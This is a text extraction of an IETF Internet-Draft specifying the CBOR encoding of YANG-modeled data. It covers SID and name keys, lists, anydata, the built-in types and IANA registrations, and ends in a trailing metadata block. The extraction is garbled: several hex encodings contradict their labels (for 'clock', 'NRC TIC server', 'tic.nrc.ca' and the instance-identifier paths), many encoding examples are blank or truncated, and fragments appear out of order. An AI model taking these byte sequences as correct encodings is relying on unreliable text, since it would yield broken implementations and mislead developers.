notation: { 1720 : { / system-state (SID 1720) / 1 : { / clock (SID 1721) / 2 : "2015-10-02T14:47:24Z-05:00", / current-datetime(SID 1723)/ 1 : "2015-09-15T09:12:58Z-05:00" / boot-datetime (SID 1722) / } } } CBOR encoding: A1 # map(1) 19 06B8 # unsigned(1720) A1 # map(1) 01 # unsigned(1) A2 # map(2) 4.2.2. Using names in keys CBOR map keys implemented using names MUST be encoded using a CBOR text string data item (major type 3). A namespace-qualified name MUST be used each time the namespace of a schema node and its parent differ. In all other cases, the simple form of the name MUST be used. Names and namespaces are defined in [RFC7951] section 4. The following example shows the encoding of a 'system' container instance using names. Definition example from [RFC7317]: typedef date-and-time { type string { pattern '\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d+)?(Z|\[\+\-]\d{2}:\d{2})'; } } container system-state { container clock { leaf current-datetime { CBOR diagnostic notation: ``` { "ietf-system:system-state" : { "clock" : { "current-datetime" : "2015-10-02T14:47:24Z-05:00", "boot-datetime" : "2015-09-15T09:12:58Z-05:00" } } ``` CBOR encoding: ``` A1 # map(1) 78 18 # text(24) 696574662D73797374656D3A73797374656D2D7374617465 A1 # map(1) 65 # text(5) 636C6F636E # "clock" A2 # map(2) 70 # text(16) 63757272656E742D6461746574696D65 78 1A # text(26) 323031352D31302D30325431343A34373A32345A2D30353A3030 6D # text(13) 626F742D6461746574696D65 78 1A # text(26) 323031352D30392D31355430393A31323A35385A2D30353A3030 ``` 4.3. The 'leaf-list' A leaf-list MUST be encoded using a CBOR array data item (major type 4). Each entry of this array MUST be encoded accordingly to its datatype using one of the encoding rules specified in Section 6. The following example shows the encoding of the 'search' leaf-list instance containing two entries, "ietf.org" and "ieee.org". Definition example [RFC7317]: typedef domain-name { type string { length "1..253"; pattern '((([a-zA-Z0-9-_]([a-zA-Z0-9-_]){0,61})?\[a-zA-Z0-9-\.]\) *([a-zA-Z0-9-_](([a-zA-Z0-9-_]\{0,61})\?\[a-zA-Z0-9-\.]\.)|\.'; } } leaf-list search { type domain-name; ordered-by user; } 4.3.1. Using SIDs in keys CBOR diagnostic notation: { 1746 : [ "ietf.org", "ieee.org" ] / search (SID 1746) / } CBOR encoding: A1 # map(1) 19 06D2 # unsigned(1746) 82 # array(2) 68 # text(8) 696574662E6F7267 # "ietf.org" 68 # text(8) 696565652E6F7267 # "ieee.org" 4.3.2. Using names in keys CBOR diagnostic notation: { "ietf-system:search" : [ "ietf.org", "ieee.org" ]} CBOR encoding: A1 # map(1) 72 # text(18) 696574662D73797374656D3A736561726368 # "ietf-system:search" 82 # array(2) 68 # text(8) 696574662E6F7267 # "ietf.org" 68 # text(8) 696565652E6F7267 # "ieee.org" 4.4. The 'list' and 'list' instance(s) A list or a subset of a list MUST be encoded using a CBOR array data item (major type 4). Each list instance within this CBOR array is encoded using a CBOR map data item (major type 5) based on the encoding rules of a collection as defined in Section 4.2. It is important to note that this encoding rule also apply to a single 'list' instance. The following examples show the encoding of a 'server' list using SIDs or names. Definition example from [RFC7317]: list server { key name; leaf name { type string; } choice transport { case udp { container udp { leaf address { type host; mandatory true; } leaf port { type port-number; } } } } leaf association-type { type enumeration { enum server; enum peer; enum pool; } default server; } leaf iburst { type boolean; default false; } leaf prefer { type boolean; default false; } } 4.4.1. Using SIDs in keys The encoding rules of each 'list' instance are defined in **Section 4.2.1.** Deltas of list members are equal to the SID of the current schema node minus the SID of the 'list'. CBOR diagnostic notation: ```json { 1756: [ { 3: "NRC TIC server", 5: { 1: "tic.nrc.ca", 2: 123 }, 1: 0, 2: false, 4: true }, { 3: "NRC TAC server", 5: { 1: "tac.nrc.ca" } } ] } ``` CBOR encoding: A1 19 06DC # unsigned(1756) 82 # array(2) A5 # map(5) 03 # unsigned(3) 6E # text(14) 4E5243205494320736572766572 # "NRC TIC server" 05 # unsigned(5) A2 # map(2) 01 # unsigned(1) 6A # text(10) 74E652632E6E72632E636 # "tic.nrc.ca" 02 # unsigned(2) 18 7B # unsigned(123) 01 # unsigned(1) 00 # unsigned(0) 02 # unsigned(2) F4 # primitive(20) 04 # unsigned(4) F5 # primitive(21) A2 # map(2) 03 # unsigned(3) 6E # text(14) 4E5243205494320736572766572 # "NRC TAC server" 05 # unsigned(5) A1 # map(1) 4.4.2. Using names in keys The encoding rules of each 'list' instance are defined in Section 4.2.2. CBOR diagnostic notation: CBOR encoding: ```cbor A1 72 696574662D73797374656D3A736572766572 82 A5 64 6E616D65 6E 4E52432054494320736572766572 63 756470 A2 ``` 4.5. The 'anydata' An anydata serves as a container for an arbitrary set of schema nodes that otherwise appear as normal YANG-modeled data. An anydata instance is encoded using the same rules as a container, i.e., CBOR map. The requirement that anydata content can be modeled by YANG implies the following: * CBOR map keys of any inner schema nodes MUST be set to valid deltas or names. * The CBOR array MUST contain either unique scalar values (as a leaf-list, see Section 4.3), or maps (as a list, see Section 4.4). * CBOR map values MUST follow the encoding rules of one of the datatypes listed in Section 4. The following example shows a possible use of an anydata. In this example, an anydata is used to define a schema node containing a notification event, this schema node can be part of a YANG list to create an event logger. Definition example: ```yaml module event-log { ... anydata last-event; # SID 60123 } ``` This example also assumes the assistance of the following notification. ```yaml module example-port { ... notification example-port-fault { # SID 60200 leaf port-name { # SID 60201 type string; } leaf port-fault { # SID 60202 type string; } } } ``` 4.5.1. Using SIDs in keys CBOR diagnostic notation: ```json { 60123 : { / last-event (SID 60123) / 77 : { / example-port-fault (SID 60200) / 1 : "0/4/21", / port-name (SID 60201) / 2 : "Open pin 2" / port-fault (SID 60202) / } } } ``` CBOR encoding: A1 # map(1) 19 EADB # unsigned(60123) A1 # map(1) 18 4D # unsigned(77) A2 # map(2) 18 4E # unsigned(78) 66 # text(6) 302F342F3231 # "0/4/21" 18 4F # unsigned(79) 6A # text(10) 4F70656E2070696E2032 # "Open pin 2" In some implementations, it might be simpler to use the absolute SID tag encoding for the anydata root element. The resulting encoding is as follows: ``` { 60123 : { / last-event (SID 60123) / 47(60200) : { / event-port-fault (SID 60200) / 1 : "0/4/21", / port-name (SID 60201) / 2 : "Open pin 2" / port-fault (SID 60202) / } } } ``` 4.5.2. Using names in keys CBOR diagnostic notation: ``` { "event-log:last-event" : { "example-port:example-port-fault" : { "port-name" : "0/4/21", "port-fault" : "Open pin 2" } } } ``` CBOR encoding: 4.6. The 'anyxml' An anyxml schema node is used to serialize an arbitrary CBOR content, i.e., its value can be any CBOR binary object. anyxml value MAY contain CBOR data items tagged with one of the tags listed in Section 9.3, these tags shall be supported. The following example shows a valid CBOR encoded instance consisting of a CBOR array containing the CBOR simple values 'true', 'null' and 'true'. Definition example from [RFC7951]: ``` module bar-module { ... anyxml bar; # SID 60000 ``` 4.6.1. Using SIDs in keys CBOR diagnostic notation: ``` { 60000 : [true, null, true] / bar (SID 60000) / }``` CBOR encoding: 4.6.2. Using names in keys CBOR diagnostic notation: ```{ "bar-module:bar" : [true, null, true] / bar (SID 60000) / } ``` CBOR encoding: 5. Encoding of 'yang-data' extension The yang-data extension [RFC8040] is used to define data structures in YANG that are not intended to be implemented as part of a datastore. The yang-data extension MUST be encoded using the encoding rules of nodes of data trees as defined in Section 4.2. Just like YANG containers, yang-data extension can be encoded using either SIDs or names. Definition example from [I-D.ietf-core-comi] Appendix A: ```yml module ietf-coreconf { import ietf-restconf { prefix rc; } rc:yang-data yang-errors { container error { leaf error-tag { type identityref { base error-tag; } } leaf error-app-tag { type identityref { base error-app-tag; } } leaf error-data-node { type instance-identifier; } leaf error-message { type string; } } } ``` 5.1. Using SIDs in keys The yang-data extensions encoded using SIDs are carried in a CBOR map containing a single item pair. The key of this item is set to the SID assigned to the yang-data extension container, the value is set the CBOR encoding of this container as defined in [Section 4.2]. This example shows a serialization example of the yang-errors yang-data extension as defined in [I-D.ietf-core-comi] using SIDs as defined in [Section 3.2]. CBOR diagnostic notation: 5.2. Using names in keys The yang-data extensions encoded using names are carried in a CBOR map containing a single item pair. The key of this item is set to the namespace qualified name of the yang-data extension container, the value is set the CBOR encoding of this container as defined in Section 3.3. This example shows a serialization example of the yang-errors yang-data extension as defined in [I-D.ietf-core-comi] using names as defined Section 3.3. CBOR diagnostic notation: ```json { "ietf-coreconf:error": { "error-tag": "invalid-value", "error-app-tag": "not-in-range", "error-data-node": "timezone-utc-offset", "error-message": "Maximum exceeded" } } ``` CBOR encoding: ``` A1 # map(1) 73 # text(19) 696574662D636F7265636F6E663A6572726F72 # "ietf-coreconf:error" ``` 6. Representing YANG Data Types in CBOR The CBOR encoding of an instance of a leaf or leaf-list schema node depends on the built-in type of that schema node. The following subsection defines the CBOR encoding of each built-in type supported by YANG as listed in [RFC7950] section 4.2.4. Each subsection shows an example value assigned to a schema node instance of the discussed built-in type. 6.1. The unsigned integer Types Leafs of type uint8, uint16, uint32 and uint64 MUST be encoded using a CBOR unsigned integer data item (major type 0). Definition example from [RFC8344]: leaf mtu { type uint16 { range "68..max"; } } CBOR diagnostic notation: 1280 CBOR encoding: 19 0500 6.2. The integer Types Leafs of type int8, int16, int32 and int64 MUST be encoded using either CBOR unsigned integer (major type 0) or CBOR negative integer (major type 1), depending on the actual value. The following example shows the encoding of a 'timezone-utc-offset' leaf instance set to -300 minutes. Definition example from [RFC7317]: leaf timezone-utc-offset { type int16 { range "-1500 .. 1500"; } } CBOR diagnostic notation: -300 CBOR encoding: 39 012B 6.3. The 'decimal64' Type Leafs of type decimal64 MUST be encoded using a decimal fraction as defined in Section 3.4.4 of [RFC8949]. The following example shows the encoding of a 'my-decimal' leaf instance set to 2.57. Definition example from [RFC7317]: Leaf my-decimal { type decimal64 { fraction-digits 2; range "1 .. 3.14 | 10 | 20..max"; } } CBOR diagnostic notation: 4([-2, 257]) CBOR encoding: C4 82 21 19 0101 ### 6.4. The 'string' Type Leafs of type string MUST be encoded using a CBOR text string data item (major type 3). The following example shows the encoding of a 'name' leaf instance set to "eth0". Definition example from [RFC8343]: leaf name { type string; } CBOR diagnostic notation: "eth0" CBOR encoding: 64 65746830 ### 6.5. The 'boolean' Type Leafs of type boolean MUST be encoded using a CBOR simple value 'true' (major type 7, additional information 21) or 'false' (major type 7, additional information 20). The following example shows the encoding of an 'enabled' leaf instance set to 'true'. Definition example from [RFC7317]: leaf enabled { type boolean; } CBOR diagnostic notation: true CBOR encoding: F5 6.6. The 'enumeration' Type Leafs of type enumeration MUST be encoded using a CBOR unsigned integer (major type 0) or CBOR negative integer (major type 1), depending on the actual value. Enumeration values are either explicitly assigned using the YANG statement 'value' or automatically assigned based on the algorithm defined in [RFC7950] section 9.6.4.2. The following example shows the encoding of an 'oper-status' leaf instance set to 'testing'. Definition example from [RFC7317]: ```Yang leaf oper-status { type enumeration { enum up { value 1; } enum down { value 2; } enum testing { value 3; } enum unknown { value 4; } enum dormant { value 5; } enum not-present { value 6; } enum lower-layer-down { value 7; } } } ``` CBOR diagnostic notation: 3 CBOR encoding: 03 Values of 'enumeration' types defined in a 'union' type MUST be encoded using a CBOR text string data item (major type 3) and MUST contain one of the names assigned by 'enum' statements in YANG. The encoding MUST be enclosed by the enumeration CBOR tag as specified in Section 9.3. Definition example from [RFC7950]: ```Yang type union { type int32; type enumeration { enum unbounded; } } ``` 6.7. The 'bits' Type Keeping in mind that bit positions are either explicitly assigned using the YANG statement 'position' or automatically assigned based on the algorithm defined in [RFC7950] section 9.7.4.2, each element of type bits could be seen as a set of bit positions (or offsets from position 0), that have a value of either 1, which represents the bit being set or 0, which represents that the bit is not set. Leafs of type bits MUST be encoded either using a CBOR array or byte string (major type 2). In case CBOR array representation is used, each element is either a positive integer (major type 0 with value 0 being disallowed) that can be used to calculate the offset of the next byte string, or a byte string (major type 2) that carries the information whether certain bits are set or not. The initial offset value is 0 and each unsigned integer modifies the offset value of the next byte string by the integer value multiplied by 8. For example, if the bit offset is 0 and there is an integer with value 5, the first byte of the byte string that follows will represent bit positions 40 to 47 both ends included. If the byte string has a second byte, it will carry information about bits 48 to 55 and so on. Within each byte, bits are assigned from least to most significant. After the byte string, the offset is modified by the number of bytes in the byte string multiplied by 8. Bytes with no bits set at the end of the byte string are removed. An example follows. The following example shows the encoding of an 'alarm-state' leaf instance with the 'critical', 'warning' and 'indeterminate' flags set. typedef alarm-state { type bits { bit unknown; bit under-repair; bit critical; bit major; bit minor; bit warning { position 8; } bit indeterminate { position 128; } } } leaf alarm-state { type alarm-state; } CBOR diagnostic notation: [h'0401', 14, h'01'] CBOR encoding: 83 42 0401 0E 41 01 In a number of cases the array would only need to have one element - a byte string with a small number of bytes inside. For this case, it is expected to omit the array element and have only the byte array that would have been inside. To illustrate this, let us consider the same example yang definition, but this time encoding only 'under- 'repair' and 'critical' flags. The result would be CBOR diagnostic notation: h'06' CBOR encoding: 41 06 Elements in the array MUST be either byte strings or positive unsigned integers, where byte strings and integers MUST alternate, i.e., adjacent byte strings or adjacent integers are an error. An array with a single byte string MUST instead be encoded as just that byte string. An array with a single positive integer is an error. Values of 'bit' types defined in a 'union' type MUST be encoded using a CBOR text string data item (major type 3) and MUST contain a space- separated sequence of names of 'bit' that are set. The encoding MUST be enclosed by the bits CBOR tag as specified in Section 9.3. The following example shows the encoding of an 'alarm-state' leaf instance defined using a union type with the 'under-repair' and 'critical' flags set. Definition example: leaf alarm-state-2 { type union { type alarm-state; type bits { bit extra-flag; } } } CBOR diagnostic notation: 43("under-repair critical") CBOR encoding: D8 2B 75 756E6465722D72657061697220637269746963616C 6.8. The 'binary' Type Leafs of type binary MUST be encoded using a CBOR byte string data item (major type 2). The following example shows the encoding of an 'aes128-key' leaf instance set to 0x1f1ce6a3f42660d888d92a4d8030476e. Definition example: ```yml leaf aes128-key { type binary { length 16; } } ``` CBOR diagnostic notation: h'1F1CE6A3F42660D888D92A4D8030476E' CBOR encoding: 50 1F1CE6A3F42660D888D92A4D8030476E 6.9. The 'leafref' Type Leaves of type leafref MUST be encoded using the rules of the schema node referenced by the 'path' YANG statement. The following example shows the encoding of an 'interface-state-ref' leaf instance set to "eth1". Definition example from [RFC8343]: ```yml typedef interface-state-ref { type leafref { path "/interfaces-state/interface/name"; } } ``` container interfaces-state { list interface { key "name"; leaf name { type string; } leaf-list higher-layer-if { type interface-state-ref; } } } 6.10. The 'identityref' Type This specification supports two approaches for encoding identityref, a YANG Schema Item iDentifier as defined in Section 3.2 or a name as defined in [RFC7951] section 6.8. 6.10.1. SIDs as identityref When schema nodes of type identityref are implemented using SIDs, they MUST be encoded using a CBOR unsigned integer data item (major type 0). (Note that no delta mechanism is employed for SIDs as identityref.) The following example shows the encoding of a 'type' leaf instance set to the value 'iana-if-type:ethernetCsmacd' (SID 1880). Definition example from [RFC7317]: ```yaml identity interface-type { } identity iana-interface-type { base interface-type; } identity ethernetCsmacd { ``` base iana-interface-type; } leaf type { type identityref { base interface-type; } } CBOR diagnostic notation: 1880 CBOR encoding: 19 0758 6.10.2. Name as identityref Alternatively, an identityref MAY be encoded using a name as defined in Section 3.3. When names are used, identityref MUST be encoded using a CBOR text string data item (major type 3). If the identity is defined in different module than the leaf node containing the identityref data node, the namespace qualified form MUST be used. Otherwise, both the simple and namespace qualified forms are permitted. Names and namespaces are defined in Section 3.3. The following example shows the encoding of the identity 'iana-if-type:ethernetCsmacd' using its namespace qualified name. This example is described in Section 6.10.1. CBOR diagnostic notation: "iana-if-type:ethernetCsmacd" CBOR encoding: 78 1b 69616E612D69662D74770653A65746865726E65746373616364 6.11. The 'empty' Type Leafs of type empty MUST be encoded using the CBOR null value (major type 7, additional information 22). The following example shows the encoding of a 'is-router' leaf instance when present. leaf is-router { type empty; } CBOR diagnostic notation: null CBOR encoding: F6 6.12. The 'union' Type Leafs of type union MUST be encoded using the rules associated with one of the types listed. When used in a union, the following YANG datatypes are enclosed by a CBOR tag to avoid confusion between different YANG datatypes encoded using the same CBOR major type. * bits * enumeration * identityref * instance-identifier See Section 9.3 for the assigned value of these CBOR tags. As mentioned in Section 6.6 and in Section 6.7, 'enumeration' and 'bits' are encoded as CBOR text string data item (major type 3) when defined within a 'union' type. The following example shows the encoding of an 'ip-address' leaf instance when set to "2001:db8:a0b:12f0::1". Definition example from [RFC7317]: typedef ipv4-address { type string { pattern '(([0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.){3} ([0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%\p{N}\p{L}+)?'; } } typedef ipv6-address { type string { pattern '(([0-9a-fA-F]{0,4}:){0,6}((([0-9a-fA-F]{0,4}:){0,7}:[0-9a-fA-F]{0,4})|((:[0-9a-fA-F]{0,4}:){0,7}:(.*)\..*)))|(((:[^:]+:)*[^:]+)|(':[^:]+))|(([^:]+:)*[^:]+)(%.*))?'; } } typedef ip-address { type union { type ipv4-address; type ipv6-address; } } leaf address { type inet:ip-address; } CBOR diagnostic notation: "2001:db8:a0b:12f0::1" CBOR encoding: 74 323030313A6462383A6130623A313266303A3A31 6.13. The 'instance-identifier' Type This specification supports two approaches for encoding an instance-identifier, one based on YANG Schema Item iDentifier as defined in Section 3.2 and one based on names as defined in Section 3.3. 6.13.1. SIDs as instance-identifier SIDs uniquely identify a schema node. In the case of a single instance schema node, i.e. a schema node defined at the root of a YANG module or submodule or schema nodes defined within a container, the SID is sufficient to identify this instance. In the case of a schema node member of a YANG list, a SID is combined with the list key(s) to identify each instance within the YANG list(s). Single instance schema nodes MUST be encoded using a CBOR unsigned integer data item (major type 0) and set to the targeted schema node SID. Schema nodes member of a YANG list MUST be encoded using a CBOR array data item (major type 4) containing the following entries: * The first entry MUST be encoded as a CBOR unsigned integer data item (major type 0) and set to the targeted schema node SID. * The following entries MUST contain the value of each key required to identify the instance of the targeted schema node. These keys MUST be ordered as defined in the 'key' YANG statement, starting from top level list, and follow by each of the subordinate list(s). Examples within this section assume the definition of a schema node of type 'instance-identifier': Definition example from [RFC7950]: ``` container system { ... leaf reporting-entity { type instance-identifier; } leaf contact { type string; } leaf hostname { type inet:domain-name; } } ``` *First example:* The following example shows the encoding of the 'reporting-entity' value referencing data node instance "/system/contact" (SID 1741). Definition example from [RFC7317]: ``` container system { leaf contact { type string; } leaf hostname { type inet:domain-name; } } ``` CBOR diagnostic notation: 1741 CBOR encoding: 19 06CD *Second example:* The following example shows the encoding of the 'reporting-entity' value referencing list instance "/system/authentication/user/authorized-key/key-data" (SID 1734) for user name "bob" and authorized-key "admin". Definition example from [RFC7317]: ``` list user { key name; leaf name { type string; } leaf password { type ianach:crypt-hash; } ``` Third example: The following example shows the encoding of the 'reporting-entity' value referencing the list instance "/system/authentication/user" (SID 1730) corresponding to user name "jack". CBOR diagnostic notation: [1730, "jack"] CBOR encoding: 82 # array(2) 19 06C2 # unsigned(1730) 64 # text(4) 6A61636B # "jack" 6.13.2. Names as instance-identifier An "instance-identifier" value is encoded as a string that is analogical to the lexical representation in XML encoding; see Section 9.13.2 in [RFC7950]. However, the encoding of namespaces in instance-identifier values follows the rules stated in Section 3.3, namely: * The leftmost (top-level) data node name is always in the namespace qualified form. * Any subsequent data node name is in the namespace qualified form if the node is defined in a module other than its parent node, and the simple form is used otherwise. This rule also holds for node names appearing in predicates. For example, /ietf-interfaces:interfaces/interface[name='eth0']/ietf-ip:ipv4/ip is a valid instance-identifier value because the data nodes "interfaces", "interface", and "name" are defined in the module "ietf-interfaces", whereas "ipv4" and "ip" are defined in "ietf-ip". The resulting xpath MUST be encoded using a CBOR text string data item (major type 3). *First example:* This example is described in Section 6.13.1. CBOR diagnostic notation: "/ietf-system:system/contact" CBOR encoding: 78 1c 2F696574662D73797374656D3A73797374656D2F636F6E74616374 *Second example:* This example is described in Section 6.13.1. CBOR diagnostic notation: "/ietf-system:system/authentication/user[name='bob']/authorized-key[name='admin']/key-data" CBOR encoding: 78 59 2F696574662D73797374656D3A73797374656D2F61757468656E74696361 74696F6E2F757365725B6E616D653D2762622F757365725D2F61757468656E74696361 65642D6B65790D5B6E616D653D2762626E616D653D2762622F757365725D Third example: This example is described in Section 6.13.1. CBOR diagnostic notation: "/ietf-system:system/authentication/user[name='jack']" CBOR encoding: 78 33 2F696574662D73797374656D3A73797374656D2F61757468656E74696361 74696F6E2F757365725B6E616D653D2762626E616D653D2762622F757365725D 7. Content-Types The following Content-Type is defined: application/yang-data+cbor; id=name: This Content-Type represents a CBOR YANG document containing one or multiple data node values. Each data node is identified by its associated namespace qualified name as defined in Section 3.3. FORMAT: CBOR map of name, instance-value The message payload of Content-Type 'application/yang-data+cbor' is encoded using a CBOR map. Each entry within the CBOR map contains the data node identifier (i.e. its namespace qualified name) and the associated instance-value. Instance-values are encoded using the rules defined in Section 4. 8. Security Considerations The security considerations of [RFC8949] and [RFC7950] apply. This document defines an alternative encoding for data modeled in the YANG data modeling language. As such, this encoding does not contribute any new security issues in addition of those identified for the specific protocol or context for which it is used. To minimize security risks, software on the receiving side SHOULD reject all messages that do not comply to the rules of this document and reply with an appropriate error message to the sender. 9. IANA Considerations 9.1. Media-Types Registry This document adds the following Media-Type to the "Media Types" registry. +-----------------+-----------------------------+-----------+ | Name | Template | Reference | +-----------------+-----------------------------+-----------+ | yang-data+cbor | application/yang-data+cbor | RFC XXXX | +-----------------+-----------------------------+-----------+ Table 2 // RFC Ed.: please replace RFC XXXX with this RFC number and remove this note. 9.2. CoAP Content-Formats Registry This document adds the following Content-Format to the "CoAP Content-Formats", within the "Constrained RESTful Environments (CoRE) Parameters" registry. | Media Type | Content Coding | ID | Reference | |--------------------|----------------+------|-----------| | application/yang- | | TBD1 | RFC XXXX | | data+cbor; id=name | | | | Table 3 // RFC Ed.: please replace TBD1 with assigned IDs and remove this note. // RFC Ed.: please replace RFC XXXX with this RFC number and remove this note. 9.3. CBOR Tags Registry This specification requires the assignment of CBOR tags for the following YANG datatypes. These tags are added to the CBOR Tags Registry as defined in Section 9.2 of [RFC8949]. <table> <thead> <tr> <th>Tag</th> <th>Data Item</th> <th>Semantics</th> <th>Reference</th> </tr> </thead> <tbody> <tr> <td>43</td> <td>text string</td> <td>YANG bits datatype</td> <td>[this]</td> </tr> <tr> <td></td> <td></td> <td>; see Section 6.7.</td> <td></td> </tr> <tr> <td>44</td> <td>text string</td> <td>YANG enumeration datatype</td> <td>[this]</td> </tr> <tr> <td></td> <td></td> <td>; see Section 6.6.</td> <td></td> </tr> <tr> <td>45</td> <td>unsigned integer</td> <td>YANG identityref datatype</td> <td>[this]</td> </tr> <tr> <td></td> <td>or text string</td> <td>; see Section 6.10.</td> <td></td> </tr> <tr> <td>46</td> <td>unsigned integer</td> <td>YANG instance-identifier</td> <td>[this]</td> </tr> <tr> <td></td> <td>or text string</td> <td>datatype; see Section 6.13.</td> <td>[this]</td> </tr> <tr> <td>47</td> <td>unsigned integer</td> <td>YANG Schema Item iDentifier</td> <td>[this]</td> </tr> <tr> <td></td> <td></td> <td>; see Section 3.2.</td> <td></td> </tr> </tbody> </table> Table 4 // RFC Ed.: please replace [this] with RFC number and remove this note ### 10. Acknowledgments This document has been largely inspired by the extensive works done by Andy Bierman and Peter van der Stok on [I-D.ietf-core-comi]. [RFC7951] has also been a critical input to this work. The authors would like to thank the authors and contributors to these two drafts. The authors would also like to acknowledge the review, feedback, and comments from Ladislav Lhotka and Juergen Schoenwaelder. ### 11. References #### 11.1. Normative References 11.2. Informative References [I-D.ietf-core-comi] Internet-Draft CBOR Encoding of Data Modeled with YANG January 2021 [I-D.ietf-core-sid] Authors' Addresses Michel Veillette (editor) Trilliant Networks Inc. 610 Rue du Luxembourg Granby Quebec J2J 2V2 Canada Email: michel.veillette@trilliantinc.com Internet-Draft CBOR Encoding of Data Modeled with YANG January 2021 Ivaylo Petrov (editor) Google Switzerland GmbH Brandschenkestrasse 110 CH-8002 Zurich Switzerland Email: ivaylopetrov@google.com Alexander Pelov Acklio 1137A avenue des Champs Blancs 35510 Cesson-Sevigne France Email: a@ackl.io
{"Source-Url": "https://datatracker.ietf.org/doc/pdf/draft-ietf-core-yang-cbor-15", "len_cl100k_base": 13183, "olmocr-version": "0.1.50", "pdf-total-pages": 55, "total-fallback-pages": 0, "total-input-tokens": 96492, "total-output-tokens": 17451, "length": "2e13", "weborganizer": {"__label__adult": 0.0002636909484863281, "__label__art_design": 0.00038743019104003906, "__label__crime_law": 0.0004298686981201172, "__label__education_jobs": 0.0007839202880859375, "__label__entertainment": 8.291006088256836e-05, "__label__fashion_beauty": 0.00015544891357421875, "__label__finance_business": 0.0005927085876464844, "__label__food_dining": 0.0002435445785522461, "__label__games": 0.0004792213439941406, "__label__hardware": 0.0012884140014648438, "__label__health": 0.0002834796905517578, "__label__history": 0.0003299713134765625, "__label__home_hobbies": 7.104873657226562e-05, "__label__industrial": 0.0004973411560058594, "__label__literature": 0.0003597736358642578, "__label__politics": 0.0003521442413330078, "__label__religion": 0.0003933906555175781, "__label__science_tech": 0.07232666015625, "__label__social_life": 8.511543273925781e-05, "__label__software": 0.035125732421875, "__label__software_dev": 0.884765625, "__label__sports_fitness": 0.0001710653305053711, "__label__transportation": 0.0003783702850341797, "__label__travel": 0.00015854835510253906}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 50204, 0.06947]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 50204, 0.64175]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 50204, 0.64122]], "google_gemma-3-12b-it_contains_pii": [[0, 1156, false], [1156, 3959, null], [3959, 4622, null], [4622, 5196, null], [5196, 6796, null], [6796, 8346, null], [8346, 8651, null], [8651, 9536, null], [9536, 11382, null], [11382, 12618, null], [12618, 13565, null], [13565, 14603, null], [14603, 15169, null], [15169, 16806, null], [16806, 17489, null], [17489, 18523, null], [18523, 19488, null], [19488, 20473, null], [20473, 21087, null], [21087, 21517, null], [21517, 22010, null], [22010, 22138, null], [22138, 22272, null], [22272, 22793, null], [22793, 23752, null], [23752, 24876, null], [24876, 25500, null], [25500, 26020, null], [26020, 26519, null], [26519, 26998, null], [26998, 27806, null], [27806, 28420, null], [28420, 29231, null], [29231, 30141, null], [30141, 31399, null], [31399, 33022, null], [33022, 33764, null], [33764, 34993, null], [34993, 35955, null], [35955, 36686, null], [36686, 37833, null], [37833, 38689, null], [38689, 39840, null], [39840, 41113, null], [41113, 41741, null], [41741, 42071, null], [42071, 43277, null], [43277, 44355, null], [44355, 45722, null], [45722, 46513, null], [46513, 47939, null], [47939, 48156, null], [48156, 49538, null], [49538, 50204, null], [50204, 50204, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1156, true], [1156, 3959, null], [3959, 4622, null], [4622, 5196, null], [5196, 6796, null], [6796, 8346, null], [8346, 8651, null], [8651, 9536, null], [9536, 11382, null], [11382, 12618, null], [12618, 13565, null], [13565, 14603, null], [14603, 15169, null], [15169, 16806, null], [16806, 17489, null], [17489, 18523, null], [18523, 19488, null], [19488, 20473, null], [20473, 21087, null], [21087, 21517, null], [21517, 22010, null], [22010, 22138, null], [22138, 22272, null], [22272, 22793, null], [22793, 23752, null], [23752, 24876, null], [24876, 25500, null], [25500, 26020, null], [26020, 26519, null], [26519, 26998, null], [26998, 27806, null], [27806, 28420, null], [28420, 29231, null], [29231, 30141, null], [30141, 31399, null], [31399, 33022, null], [33022, 33764, null], [33764, 34993, null], [34993, 35955, null], [35955, 36686, null], [36686, 37833, null], [37833, 38689, null], [38689, 39840, null], [39840, 41113, null], [41113, 41741, null], [41741, 42071, null], [42071, 43277, null], [43277, 44355, null], [44355, 45722, null], [45722, 46513, null], [46513, 47939, null], [47939, 48156, null], [48156, 49538, null], [49538, 50204, null], [50204, 50204, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 50204, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 50204, null]], "pdf_page_numbers": [[0, 1156, 1], [1156, 3959, 2], [3959, 4622, 3], [4622, 5196, 4], [5196, 6796, 5], [6796, 8346, 6], [8346, 8651, 7], [8651, 9536, 8], [9536, 11382, 9], [11382, 12618, 10], [12618, 13565, 11], [13565, 14603, 12], [14603, 15169, 13], [15169, 16806, 14], [16806, 17489, 15], [17489, 18523, 16], [18523, 19488, 17], [19488, 20473, 18], [20473, 21087, 19], [21087, 21517, 20], [21517, 22010, 21], [22010, 22138, 22], [22138, 22272, 23], [22272, 22793, 24], [22793, 23752, 25], [23752, 24876, 26], [24876, 25500, 27], [25500, 26020, 28], [26020, 26519, 29], [26519, 26998, 30], [26998, 27806, 31], [27806, 28420, 32], [28420, 29231, 33], [29231, 30141, 34], [30141, 31399, 35], [31399, 33022, 36], [33022, 33764, 37], [33764, 34993, 38], [34993, 35955, 39], [35955, 36686, 40], [36686, 37833, 41], [37833, 38689, 42], [38689, 39840, 43], [39840, 41113, 44], [41113, 41741, 45], [41741, 42071, 46], [42071, 43277, 47], [43277, 44355, 48], [44355, 45722, 49], [45722, 46513, 50], [46513, 47939, 51], [47939, 48156, 52], 